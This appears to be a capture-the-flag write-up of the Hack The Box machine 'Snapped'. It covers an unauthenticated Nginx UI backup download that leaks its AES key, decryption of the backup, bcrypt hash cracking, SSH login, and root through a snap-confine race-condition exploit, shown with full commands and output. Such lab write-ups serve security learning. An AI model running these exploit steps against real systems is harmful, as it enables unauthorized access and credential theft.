Skip to main content
HTB: Snapped
  1. Posts/

HTB: Snapped

Table of Contents

Introduction
#

Snapped is a Linux machine that begins with an nginx-fronted HTTP service. Virtual host fuzzing uncovers an admin subdomain running Nginx UI, whose /api/backup endpoint is vulnerable to an unauthenticated backup download that leaks the AES decryption key and IV directly in the response headers. Decrypting the retrieved backup exposes an SQLite database containing password hashes, one of which grants SSH access as user jonathan. Privilege escalation to root hinges on the host’s outdated snapd package, vulnerable to CVE-2026-3888, a TOCTOU race condition in snap-confine’s sandbox setup, ultimately yielding a root shell via a hijacked SUID bash binary in the Firefox snap directory.

nmap
#

nmap finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.34.150
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJmeoJvLKYHBiXGWuhesZc1pKunLKcWr27Tf1iTu4Vrf+ZnI3aAEdfSNx1s+74ezW5xgxjkv9xbVUTpJ+fUyUhM=
|   256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA6U/NpGpmd9TrojW8J4VdQaMccQBJZTggUXe6u0YGor
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://snapped.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add snapped.htb to /etc/hosts

Web
#

Web

There isn’t anything interesting on the main page, so the next step - subdomains

Subdomain
#

└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://snapped.htb/ -H 'Host: FUZZ.snapped.htb' -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://snapped.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.snapped.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

admin                   [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 30ms]
:: Progress: [220561/220561] :: Job [1/1] :: 1250 req/sec :: Duration: [0:03:23] :: Errors: 0 ::

admin subdomain discovered, add it to /etc/hosts as well

Web2

The admin subdomain is a default login page for Nginx-UI website management service

The Nginx-UI is known product with existing API endpoints, enumerate if any are open here:

└─$ gobuster dir -u http://admin.snapped.htb/api/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://admin.snapped.htb/api/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/backup               (Status: 200) [Size: 18306]
/certs                (Status: 403) [Size: 34]
/config               (Status: 403) [Size: 34]
/configs              (Status: 403) [Size: 34]
/events               (Status: 403) [Size: 34]
/install              (Status: 200) [Size: 29]
/licenses             (Status: 200) [Size: 52782]
/node                 (Status: 403) [Size: 34]
/notifications        (Status: 403) [Size: 34]
/settings             (Status: 403) [Size: 34]
/sites                (Status: 403) [Size: 34]
/user                 (Status: 403) [Size: 34]
/users                (Status: 403) [Size: 34]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Among sea of 403 there are few open, most interesting one being /backup.

└─$ curl -v http://admin.snapped.htb/api/backup
* Host admin.snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.34.150
*   Trying 10.129.34.150:80...a
* Connected to admin.snapped.htb (10.129.34.150) port 80
* using HTTP/1.x
> GET /api/backup HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.14.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 23 Jul 2026 10:44:17 GMT
< Content-Type: application/zip
< Content-Length: 18306
< Connection: keep-alive
< Accept-Ranges: bytes
< Cache-Control: must-revalidate
< Content-Description: File Transfer
< Content-Disposition: attachment; filename=backup-20260723-064417.zip
< Content-Transfer-Encoding: binary
< Expires: 0
< Last-Modified: Thu, 23 Jul 2026 10:44:17 GMT
< Pragma: public
< Request-Id: c8b83657-ace4-439a-b089-a70e31e0bf9f
< X-Backup-Security: r5grurmL9y1VX4p0WRZFNba5oEununbAAva7JFTPqJc=:GHUj74ITA0OvWpq+2reXUQ==
< 
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider 
Warning: "--output <FILE>" to save to a file.
* client returned ERROR on write of 12926 bytes
* closing connection #0

A quick curl shows it sending a file, backup-20260319-121113.zip, and the decryption key in the X-Backup-Security response header.

This is CVE-2026-27944

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3.

Ok, re-send the curl request this time with the file download:

└─$ curl -OJ -v http://admin.snapped.htb/api/backup
<SNIP>
< Content-Disposition: attachment; filename=backup-20260723-065914.zip
<SNIP>
< X-Backup-Security: 0/V82ofsAp/YLe9JNgYLdm3KrkcUFcp0rRC2ayQ9vRw=:dJrfc/rYGGnb1b511n97Pw==
< 
{ [7526 bytes data]
100 18306  100 18306    0     0   226k      0 --:--:-- --:--:-- --:--:--  229k
* Connection #0 to host admin.snapped.htb left intact

The key is in base64(AES-key):base64(IV) format meaning:

└─$ key=$(echo '0/V82ofsAp/YLe9JNgYLdm3KrkcUFcp0rRC2ayQ9vRw=' | base64 -d | xxd -p -c 256)
└─$ iv=$(echo 'dJrfc/rYGGnb1b511n97Pw==' | base64 -d | xxd -p)

Now I can unzip the outer archive, decrypt the inner nginx-ui.zip and unzip that as well:

└─$ unzip -d backup backup-20260723-065914.zip 
Archive:  backup-20260723-065914.zip
  inflating: backup/hash_info.txt    
  inflating: backup/nginx-ui.zip     
  inflating: backup/nginx.zip   
└─$ openssl enc -aes-256-cbc -d -in nginx-ui.zip -out nginxui_dec.zip -K $key -iv $iv 
└─$ unzip nginxui_dec.zip      
Archive:  nginxui_dec.zip
  inflating: app.ini                 
  inflating: database.db  

Inside was a SQLite database:

└─$ sqlite3 database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
acme_users         configs            namespaces         sites            
auth_tokens        dns_credentials    nginx_log_indices  streams          
auto_backups       dns_domains        nodes              upstream_configs 
ban_ips            external_notifies  notifications      users            
certs              llm_sessions       passkeys         
config_backups     migrations         site_configs     
sqlite> select * from users;
1|<SNIP>|admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|<SNIP>
2|<SNIP>|jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|<SNIP>

There are two users, admin and jonathan, I can attempt to crack the password hashes. They look like bcrypt meaning hashcat mode 3200:

└─$ hashcat -m 3200 user.hash ~/Tools/rockyou.txt
hashcat (v6.2.6) starting

<SNIP>

$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark

After a short wait the password for jonathan is cracked and I can use it to SSH to the host and grab the user flag:

└─$ ssh jonathan@10.129.34.150
jonathan@10.129.34.150 password: 
<SNIP>
jonathan@snapped:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  snap  Templates  user.txt  Videos
jonathan@snapped:~$ cat user.txt
8d89e1fda3e8209ce0bce9f7fe11937a

Root
#

Standard sudo check returns nothing here:

jonathan@snapped:~$ sudo -l
[sudo] password for jonathan: 
Sorry, user jonathan may not run sudo on snapped.

Services
#

There are several services running on the machine:

jonathan@snapped:~$ systemctl list-units --type=service --state=running
  UNIT                          LOAD   ACTIVE SUB     DESCRIPTION                                                     
  accounts-daemon.service       loaded active running Accounts Service
  anacron.service               loaded active running Run anacron jobs
  avahi-daemon.service          loaded active running Avahi mDNS/DNS-SD Stack
  colord.service                loaded active running Manage, Install and Generate Color Profiles
  cron.service                  loaded active running Regular background program processing daemon
  cups-browsed.service          loaded active running Make remote CUPS printers available locally
  cups.service                  loaded active running CUPS Scheduler
  dbus.service                  loaded active running D-Bus System Message Bus
  gdm.service                   loaded active running GNOME Display Manager
  gnome-remote-desktop.service  loaded active running GNOME Remote Desktop
  kerneloops.service            loaded active running Tool to automatically collect and submit kernel crash signatures
  ModemManager.service          loaded active running Modem Manager
  NetworkManager.service        loaded active running Network Manager
  nginx-ui.service              loaded active running nginx-ui
  nginx.service                 loaded active running A high performance web server and a reverse proxy server
  open-vm-tools.service         loaded active running Service for virtual machines hosted on VMware
  polkit.service                loaded active running Authorization Manager
  power-profiles-daemon.service loaded active running Power Profiles daemon
  rsyslog.service               loaded active running System Logging Service
  rtkit-daemon.service          loaded active running RealtimeKit Scheduling Policy Service
  snapd.service                 loaded active running Snap Daemon
  ssh.service                   loaded active running OpenBSD Secure Shell server
  switcheroo-control.service    loaded active running Switcheroo Control Proxy service
  systemd-journald.service      loaded active running Journal Service
  systemd-logind.service        loaded active running User Login Management
  systemd-oomd.service          loaded active running Userspace Out-Of-Memory (OOM) Killer
  systemd-resolved.service      loaded active running Network Name Resolution
  systemd-timedated.service     loaded active running Time & Date Service
  systemd-timesyncd.service     loaded active running Network Time Synchronization
  systemd-udevd.service         loaded active running Rule-based Manager for Device Events and Files
  udisks2.service               loaded active running Disk Manager
  upower.service                loaded active running Daemon for power management
  user@1000.service             loaded active running User Manager for UID 1000
  user@120.service              loaded active running User Manager for UID 120
  vgauth.service                loaded active running Authentication service for virtual machines hosted on VMware
  wpa_supplicant.service        loaded active running WPA supplicant

Legend: LOAD   → Reflects whether the unit definition was properly loaded.
        ACTIVE → The high-level unit activation state, i.e. generalization of SUB.
        SUB    → The low-level unit activation state, values depend on unit type.

36 loaded units listed.

All seem reasonably normal.

The next step was tricky to find, the final hint that pointed me to the next step was the machine’s name - Snapped - and the service that inspired this name.

The snapd service - a software packaging and deployment system for Ubuntu. snap is running version 2.63.1:

jonathan@snapped:~$ snap version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic

CVE-2026-3888
#

Googling for snap 2.63.1 ubuntu cve returns CVE-2026-3888

Local privilege escalation in snapd on Linux allows local attackers to get root privilege by re-creating snap’s private /tmp directory when systemd-tmpfiles is configured to automatically clean up this directory. This issue affects Ubuntu 16.04 LTS, 18.04 LTS, 20.04 LTS, 22.04 LTS, and 24.04 LTS.

Basicly, CVE-2026-3888 affects snapd versions before 2.74.2 on Ubuntu 24.04.

Snap apps run in a sandbox, and the program responsible for setting that sandbox up is called snap-confine. It runs as root (via SUID) every time a snap launches, because building the sandbox requires root privileges.

Part of that setup involves temporarily copying some read-only system directories (like shared library folders) into a scratch location under /tmp/.snap/, so they can be safely exposed inside the sandbox. This copying happens in two steps:

  • first the whole directory gets mounted into the scratch area
  • then the individual files inside it get mounted back out into the sandbox one by one

The bug is a race condition (a “TOCTOU” - time-of-check time-of-use) in the gap between those two steps. If I am fast enough, I can swap out the directory’s contents during that brief window, right after snap-confine “checks” what’s there but before it finishes “using” it.

Because this all happens as root, whatever I swap in gets treated as trustworthy. In particular, I can substitute the dynamic linker (ld-linux-x86-64.so.2) - a core file that every program uses to load - with a malicious version containing my shell. Once that’s in place, the next SUID root program that runs in that sandbox executes the malicious code, handing me a root shell.

One of the creators of the machine, TheCyberGeek, has published a very nice PoC.

All I need to do is clone the repo:

└─$ git clone https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE.git

And build the exploit:

└─$ gcc -O2 -static -o exploit exploit_suid.c
└─$ gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c

└─$ ls                                                                           
exploit  exploit_caps.c  exploit_suid.c  librootshell_caps.c  librootshell.so  librootshell_suid.c  README.md

Now just copy it to the machine and run it:

└─$ scp exploit librootshell.so jonathan@10.129.39.172:~/
jonathan@10.129.39.172's password: 
exploit                                                                                          100%  890KB   2.2MB/s   00:00    
librootshell.so                                                                                  100% 9056   333.3KB/s   00:00  

The exploit itself runs in 7 phases described in the repo:

jonathan@snapped:~$ ./exploit librootshell.so
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/librootshell.so (9056 bytes)

First phase creates a shell in the Firefox snap namespace, cd’s to /tmp and waits for .snap to be deleted, then sleeps. Finally, it returns the shell PID.

[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 8434

Phase two is just a wait for systemd-tmpfiles to delete .snap

[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.

Third phase destroys the cached mount namespace. snap-confine caches mount namespaces if the cached namespace still exists snap-confine would reuse it and never read anything from /tmp/.snap, so the poisoned directory would be ignored. By destroying the cached version, the exploit makes sure the next snap launch has to build new namespace with the malicious content.

[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_ra3smC//dev: No such file or directory
[+] Namespace destroyed.

Phase four is the race condition

[Phase 4] Setting up and running the race...
[*]   Working directory: /proc/8434/cwd
[*]   Building .snap and .exchange...
[*]   285 entries copied to exchange directory
[*]   Starting race...
[*]   Monitoring snap-confine (child PID 8768)...

[!]   TRIGGER — swapping directories...
[+]   SWAP DONE — race won!
[*]   ld-linux in namespace: jonathan:jonathan 755
[+]   Poisoned namespace PID: 8768

Phase five is the main course. It injects the payload into the poisoned namespace.

It carries out three successive actions: it copies a standalone, static busybox binary into the namespace’s /tmp directory, writes an escape script (/tmp/sh pointing back to busybox), and finally overwrites the hijacked dynamic linker (ld-linux-x86-64.so.2) with a malicious shared library payload (librootshell.so).

[Phase 5] Injecting payload into poisoned namespace...
[+]   ld-linux owned by uid 1000 (attacker). Race confirmed.
[*]   Planting busybox...
[*]   Writing escape script → /tmp/sh
[*]   Overwriting ld-linux-x86-64.so.2...
[+]   Payload injected.

Phase six triggers root execution and there’s a SetUID bash copy in the Firefox snap directory:

[Phase 6] Triggering root via SUID snap-confine...
[*]   snap-confine → snap-confine (SUID trigger)
[*]   Exit status: 0

And the last phase just runs the SetUID bash to get a shell

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...

================================================================
  ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================

bash-5.1

And that is all, just grab the flag!

bash-5.1# id
uid=1000(jonathan) gid=1000(jonathan) euid=0(root) groups=1000(jonathan)
bash-5.1# cat /root/root.txt
a4ad672afaab9566975c81bbed760e0a
bash-5.1# 
Author
~